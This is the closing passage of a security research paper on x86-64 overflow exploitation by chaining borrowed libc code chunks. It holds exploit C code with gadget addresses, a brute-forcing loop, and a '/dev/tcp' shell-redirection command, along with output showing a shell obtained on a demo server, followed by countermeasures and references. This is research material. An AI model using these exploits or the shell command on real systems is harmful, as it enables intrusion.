            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0x2a,
            0x2aaaaac6ed00, // close

            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0x1,
            0x2aaaaabf2610, // exit
    };


    memset(server_stack.buf, 'X', sizeof(server_stack.buf));
    server_stack.rbx = 0x00002aaaaabfb290;
    memcpy(server_stack.code, chunks, sizeof(server_stack.code));

    if ((sock = tcp_connect(host, 1234)) < 0)
        die("tcp_connect");

    read(sock, trigger, sizeof(trigger));

    assert(tlen > sizeof(server_stack));
    memcpy(trigger, &server_stack, sizeof(server_stack));
    writen(sock, trigger, tlen);
    usleep(1000);
    read(sock, trigger, 1);
    close(sock);
}
```

When running the exploit *client-automatic*, an attached `strace` shows that the right functions are executed in the right order. This time the system-calls are actually shown in the trace-log but thats OK since the triggered *libc* calls will eventually call the corresponding system calls.

```
linux:~ # strace -i -f -p 7020
Process 7020 attached - interrupt to quit
[    2aaaaac7bd72] accept(3, 0, NULL)   = 4
[    2aaaaac4fe4b] clone(Process 7227 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7227
[pid  7020] [    2aaaaac6ed12] close(4) = 0
[pid  7020] [    2aaaaac7bd72] accept(3,  <unfinished ...>
[pid  7227] [    2aaaaac6ee22] write(4, "OF Server 1.0\n", 14) = 14
[pid  7227] [    2aaaaac6ed92] read(4, "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"..., 4096) = 4096
[pid  7227] [    2aaaaac6ee22] write(4, "OK\n", 3) = 3
[pid  7227] [    2aaaaac50bd9] setuid(0) = 0
[pid  7227] [    2aaaaac4fe4b] clone(Process 7228 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x2aaaaade8b90) = 7228
[pid  7227] [    2aaaaac50e7d] setresuid(1, 2, 3) = 0
[pid  7227] [    2aaaaac6ed12] close(42) = -1 EBADF (Bad file descriptor)
[pid  7227] [    2aaaaac78579] munmap(0x2aaaaaac2000, 4096) = 0
[pid  7227] [    2aaaaac500fa] exit_group(1) = ?
Process 7227 detached
[pid  7020] [    2aaaaac7bd72] <... accept resumed> 0, NULL) = ? ERESTARTSYS (To be restarted)
[pid  7020] [    2aaaaac7bd72] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid  7020] [    2aaaaac4f6d4] wait4(-1, NULL, WNOHANG, NULL) = 7227
[pid  7020] [    2aaaaac4f6d4] wait4(-1, NULL, WNOHANG, NULL) = -1 ECHILD (No child processes)
[pid  7020] [    2aaaaabeff09] rt_sigreturn(0xffffffffffffffff) = 43
[pid  7020] [    2aaaaac7bd72] accept(3,  <unfinished ...>
[pid  7228] [    2aaaaac50e7d] setresuid(1, 2, 3) = 0
[pid  7228] [    2aaaaac6ed12] close(42) = -1 EBADF (Bad file descriptor)
[pid  7228] [    2aaaaac78579] munmap(0x2aaaaaac2000, 4096) = 0
[pid  7228] [    2aaaaac500fa] exit_group(1) = ?
Process 7228 detached
```

Everything worked as expected, even the *fork(2)* which can be seen by the the spawned process. I don't want to hide the fact that all the exploits send 0-bytes across the wire. If the target process introduces *strcpy(3)* calls this might be problematic since 0 is the string terminator. However, deeper research might allow to remove the 0-bytes and most overfbws today don't happen anymore due to stupid *strcpy(3)* calls. Indeed even most of them accept 0 bytes since most overfbws happen due to integer miscalculation of length fields today.

Eventually we want to generate a shellcode which executes a shell. We still use the same vulnerable *server* program. But this time we generate a stack which also calls the *system(3)* function instead of the dummy calls from the last example. To show that its still a calling sequence and not just a single function call, the UID is set to the *wwwrun* user via the *setuid(3)* function call. The problem with a call to *system(3)* is that it expects a pointer argument. The code generator however is not clever enough [4] to find out where the command is located. Thats why we need to brute force the argument for *system(3)* within the exploit. As with common old-school exploits, we can use NOP's to increase the steps during brute force. We know that the command string is located on the stack. The space character ' ' serves very well as a NOP since our NOP will be a NOP to the *system(3)* argument, e.g. we can pass `"/bin/sh"` or `" /bin/sh"` to *system(3)*.

[4] Not yet clever enough. It is however possible to use *ptrace(2)* to look for the address of certain strings in the target process address space.

```
linux:$ ps aux|grep server
root      7207  0.0  0.0   2404   368 tty1     S+   15:09   0:00 ./server
user@linux:> cat calls-shell
30
setuid
/bin/sh
system
linux:$ ./find -p 7207 < calls-shell
7276: [2aaaaaaab000-2aaaaaac1000] 0x2aaaaaaab000-0x2aaaaaac1000 /lib64/ld-2.3.4.so
pop %rsi; retq @0x2aaaaaaabdfd /lib64/ld-2.3.4.so

pop %rdi; retq @0x2aaaaaaac0a9 /lib64/ld-2.3.4.so

7276: [2aaaaabc2000-2aaaaabc4000] 0x2aaaaabc2000-0x2aaaaabc4000 /lib64/libdl.so.2
7276: [2aaaaacc5000-2aaaaade2000] 0x2aaaaacc5000-0x2aaaaade2000 /lib64/tls/libc.so.6
pop %r8; retq @0x2aaaaacf82c3 /lib64/tls/libc.so.6

pop %rdx; retq @0x2aaaaad890f5 /lib64/tls/libc.so.6

Target process 7207, offset 0
Target process 7207, offset 0
libc_offset=1060864
Target process 7207, offset 1060864
Target process 7207, offset 1060864


pop %rdi; retq 0x2aaaaaaac0a9 0 /lib64/ld-2.3.4.so
pop %rsi; retq 0x2aaaaaaabdfd 0 /lib64/ld-2.3.4.so
pop %rdx; retq 0x2aaaaad890f5 1060864 /lib64/tls/libc.so.6
pop %rcx; retq (nil) 0 (null)
pop %r8; retq 0x2aaaaacf82c3 1060864 /lib64/tls/libc.so.6
pop %r9; retq (nil) 0 (null)
u_int64_t chunks[] = {
        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        0x1e,
        0x2aaaaac50bc0, // setuid

        0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
        </bin/sh>,
        0x2aaaaabfb290, // system

};
linux:$
```

The fourth entry of the `chunks[]` array has to hold the address of the command and has to be brute forced. The exploit function looks like this:

```
void exploit(const char *host)
{
    int sock = -1;
    char trigger[4096];
    size_t tlen = sizeof(trigger);
    struct t_stack {
        char buf[1024];
        u_int64_t rbx;
        u_int64_t code[6];
        char cmd[512];
    } __attribute__ ((packed)) server_stack;

    u_int64_t chunks[] = {
            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0x1e,
            0x2aaaaac50bc0, // setuid

            0x2aaaaaaac0a9, // pop %rdi; retq,/lib64/ld-2.3.4.so
            0,              // to be brute forced
            0x2aaaaabfb290, // system
    };
    u_int64_t stack;
    char *cmd = "                                                                   "    // ~80 NOPs
                "sh < /dev/tcp/127.0.0.1/3128  > /dev/tcp/127.0.0.1/8080;";

    memset(server_stack.buf, 'X', sizeof(server_stack.buf));
    server_stack.rbx = 0x00002aaaaabfb290;
    strcpy(server_stack.cmd, cmd);

    for (stack = 0x7ffffffeb000; stack < 0x800000000000; stack += 70) {
        printf("0x%08lx\r", stack);
        chunks[4] = stack;
        memcpy(server_stack.code, chunks, sizeof(server_stack.code));

        if ((sock = tcp_connect(host, 1234)) < 0)
            die("tcp_connect");
```

```
        read(sock, trigger, sizeof(trigger));

        assert(tlen > sizeof(server_stack));
        memcpy(trigger, &server_stack, sizeof(server_stack));
        writen(sock, trigger, tlen);
        usleep(1000);
        read(sock, trigger, 1);
        close(sock);
    }
}
```

Due to the brute forcing of the *system(3)* argument this time, the server executes a lot of junk until the right address is hit:

```
&sock = 0x7ffffffff0fc system=0x400938 mmap=0x400928
sh: : command not found
sh: h: command not found
sh: : command not found
sh: -c: line 0: syntax error near unexpected token ‘newline’
sh: -c: line 0: ‘!’
sh: : command not found
sh: *: command not found
sh: *: command not found
sh: : command not found
sh:h: *: command not found
sh: : command not found
sh: : command not found
sh: : command not found
sh: X*: command not found
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXA*: command not found
sh: XXXXXXXXXXXXXXXXXXXXXXXXA*: command not found
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not
sh: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX: command not found
sh: *: command not found
```

However it eventually finds the right address:

```
linux: $ cc -Wall -O2 client-automatic-shell.c
linux: $ ./a.out
0x7ffffffff1d6
Connected!
Linux linux 2.6.11.4-20a-default #1 Wed Mar 23 21:52:37 UTC 2005 x86_64 x86_64 x86_64 GNU/Linux
uid=30(wwwrun) gid=0(root) groups=0(root)
 15:38:51 up  2:01,  3 users,  load average: 0.74, 0.32, 0.14
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1      13:38   16.00s  5.84s  5.57s ./server
user     tty2      13:38   12.00s  0.33s  0.00s ./a.out
root     tty3      13:41    4:07   0.10s  0.10s -bash
```

8 Related work

The whole technique is probably not entirely new. Some similar work but without automatic stack-frame generation has been done in [9] for the SPARC CPU which I was pointed to after a preview of this paper. I also want to point you again to the *return-into-libc* technique at [4], [5] and [6] because this is the sister of the technique described in this paper.

9 Countermeasures

I believe that as long as buffer overflows happen there is a way to (mis-)control the application even if page protections or other mechanisms forbid for directly executing shellcode. The reason is that due to the complex nature of todays applications a lot of the shellcode is already within the application itself. SSH servers for example already carry code to execute a shell because its the programs aim to allow remote control. Nevertheless I will discuss two mechanisms which might make things harder to exploit.

- Address Space Layout Randomization - ASLR
  The *code chunks borrow technique* is an exact science. As you see from the exploit no offsets are guessed. The correct values have to be put into the correct registers. By mapping the libraries of the application to more or less random locations it is not possible anymore to determine where certain code chunks are placed in memory. Even though there are theoretically 64-bit addresses, applications are only required to handle 48-bit addresses. This shrinks the address space dramatically as well as the number of bits which could be randomized. Additionally, the address of a appropriate code chunk has only to be guessed once, the other chunks are relative to the first one. So guessing of addresses probably still remains possible.
- Register flushing
  At every function outro a `xor %rdi, %rdi` or similar instruction could be placed if the ELF64 ABI allows so. However, as shown, the pop instructions do not need to be on instruction boundary which means that even if you flush registers at the function outro, there are still plenty of usable pop instructions left. Remember that a `pop %rdi; retq` sequence takes just two bytes.

10 Conclusion

Even though I only tested the Linux x86-64 platform, I see no restrictions why this should not work on other platforms as well e.g. x86-64BSD, IA32 or SPARC. Even other CPUs with the same page protection mechanisms or the PaX patch should be escapable this way. Successful exploitation will in future much more depend on the application, its structure, the compiler it was compiled with and the libraries it was linked against. Imagine if we could not find a instruction sequence that fills `%rdi` it would be much harder if not impossible.
However it also shows that overflows are not dead, even on such hardened platforms.

11 Credits

Thanks to Marcus Meissner, Andreas Jaeger, FX, Solar Designer and Halvar Flake for reviewing this paper.

References

[1] AMD:
`http://developer.amd.com/documentation.aspx`

[2] x86-64 ABI:
`http://www.x86-64.org/documentation/abi.pdf`

[3] Description of buffer overfbws:
`http://www.cs.rpi.edu/˜hollingd/netprog/notes/overflow/overflow`

[4] Advanced return into libc:
`http://www.phrack.org/phrack/58/p58-0x04`

[5] Return into libc:
`http://www.ussg.iu.edu/hypermail/linux/kernel/9802.0/0199.html`

[6] Return into libc:
`http://marc.theaimsgroup.com/?l=bugtraq&m=87602746719512`

[7] PaX:
`http:///pax.grsecurity.net`

[8] malloc overfbws:
`http://www.phrack.org/phrack/57/p57-0x09`

[9] John McDonald
`http://thc.org/root/docs/exploit_writing/sol-ne-stack.html`

[10] Borrowed code-chunks exploitation technique:
`http://www.suse.de/˜krahmer/bccet.tgz`